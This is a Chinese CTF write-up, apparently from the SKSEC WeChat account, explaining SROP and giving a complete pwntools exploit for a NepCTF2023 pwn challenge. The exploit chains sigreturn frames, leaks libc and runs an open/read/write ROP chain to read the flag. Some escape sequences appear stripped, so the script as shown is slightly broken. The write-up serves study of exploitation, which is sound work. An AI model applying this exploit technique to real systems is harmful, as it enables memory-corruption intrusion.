Srop 的全称是Sigreturn Oriented Programming
Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn
Signal
Signal是Unix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息
常见于在一个进程中,内核向其发送发送软中断信号,该进程将暂时被挂起,系统进入内核态
因为是暂时被挂起,所以系统会保留该进程的上下文 (部分内容摘自ctf-wiki)
• 将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn
这一段内存也被称为Signal Frame
简单来说,我们可以通过调用sigreturn来控制程序的寄存器和执行流。
接下来我们看下题目
可以看到题目中给出了一个使用系统调用的输出和输入
同时只在沙盒中打开了系统调用0,1,2,15的执行权限。此时我们应该想到使用srop解决。
题目中给出了一段将rax设置成15的代码,但实测并不能通过调用这段代码并syscall来执行sigreturn
同样因为这个,我们设置寄存器时也要将数据后移一个寄存器。如将本来设置给rdi的数据设置给rsi。
我们通过 SigreturnFrame设置了一个可以向bss处写入0x400 的read
frame = Sigreturnframe()
frame.rax = 1
frame.rdi = 0
frame.rsi = 0
frame.rdx = bss
frame.rcx = 0x400
frame.rsp = bss
frame.rbp = bss
frame.rip = elf.plt['syscall']
同时使用这个read在bss处写入另一段payload
frame2 = SigreturnFrame() #布置寄存器,在bss处写入frame2。frame2的作用是启动一个向bss+0x200处写入的read
frame2.rax = 1
frame2.rdi = 0
frame2.rsi = 0
frame2.rdx = bss+0x200
frame2.rcx = 0x400
frame2.rsp = bss+0x200
frame2.rbp = bss+0x200
frame2.rip = elf.plt['syscall']
pay=p64(pop_rdi)+p64(15)+p64(elf.plt['syscall'])+bytes(frame2)
使程序指向这里时可以调用一个向bss+0x200处写入0x400的read,这样我们又获得了一次read。这次read我们可以用来泄露libc基地址
frame1 = SigreturnFrame() #布置寄存器,输出syscall@got获取libc。
frame1.rax = 1
frame1.rdi = 1
frame1.rsi = 1
frame1.rdx = elf.got['syscall']
frame1.rcx = 0x30
frame1.rsp = bss
frame1.rbp = bss
frame1.rip = elf.plt['syscall']
pay=p64(pop_rdi)+p64(15)+p64(elf.plt['syscall'])+bytes(frame1)
输出syscall@got后,我们将rbp rsp设置回bss,使我们可以继续调用read。获取libc后,我们就可以通过rop链系统调用orw读取flag了
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./pwn")
p=remote("nepctf.1cepeak.cn",30913)
#gdb.attach(p)
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
addr=0x040078D
bss=0x601050+0x100
syscall=0x400788
sys=0x400750
pop_rdi=0x400813
p.recvuntil(b"welcome to NepCTF2023!")
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 0
frame.rsi = 0
frame.rdx = bss
frame.rcx = 0x400
frame.rsp = bss
frame.rbp = bss
frame.rip = elf.plt['syscall']
pay=b'a'*0x30+p64(bss)+p64(pop_rdi)+p64(15)+p64(elf.plt['syscall'])+bytes(frame) #在调试过程中发现,rdi中的数据会被放进rax。故尝试将rdi设为15,试图启动sigreturn
p.send(pay)
pause()
frame2 = SigreturnFrame() #布置寄存器,在bss处写入frame2。frame2的作用是启动一个向bss+0x200处写入的read
frame2.rax = 1
frame2.rdi = 0
frame2.rsi = 0
frame2.rdx = bss+0x200
frame2.rcx = 0x400
frame2.rsp = bss+0x200
frame2.rbp = bss+0x200
frame2.rip = elf.plt['syscall']
pay=p64(pop_rdi)+p64(15)+p64(elf.plt['syscall'])+bytes(frame2)
p.send(pay)
frame1 = SigreturnFrame() #布置寄存器,输出syscall@got获取libc。
frame1.rax = 1
frame1.rdi = 1
frame1.rsi = 1
frame1.rdx = elf.got['syscall']
frame1.rcx = 0x30
frame1.rsp = bss
frame1.rbp = bss
frame1.rip = elf.plt['syscall']
pay=p64(pop_rdi)+p64(15)+p64(elf.plt['syscall'])+bytes(frame1)
pause()
p.send(pay)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-libc.sym['syscall']
print(hex(libc_base))
open_addr = libc_base + libc.sym['open'] #获得了libc基地址,我们就可以使用rop链系统调用orw读取flag了
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
syscall= libc_base + 0xd2625
pop_rsi=0x23a6a+libc_base
pop_rdx=0x1b96+libc_base
pop_rax=0x01b500+libc_base
flag_addr=bss+0x2c8
pay = p64(pop_rax)+p64(2)+p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
pay += p64(pop_rax)+p64(0)+p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x500) + p64(pop_rdx) + p64(0x100) + p64(syscall)
pay += p64(pop_rax)+p64(1)+p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss+0x500) + p64(pop_rdx) + p64(0x100) + p64(syscall)
pay += b'flagx00x00x00x00'
pause()
p.send(pay)
p.interactive()
有兴趣加入我们的同学记得进群
完成群里的学习任务有惊喜奖励哦~
原文始发于微信公众号(SKSEC):【表哥有话说 第98期】nepctf srop复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论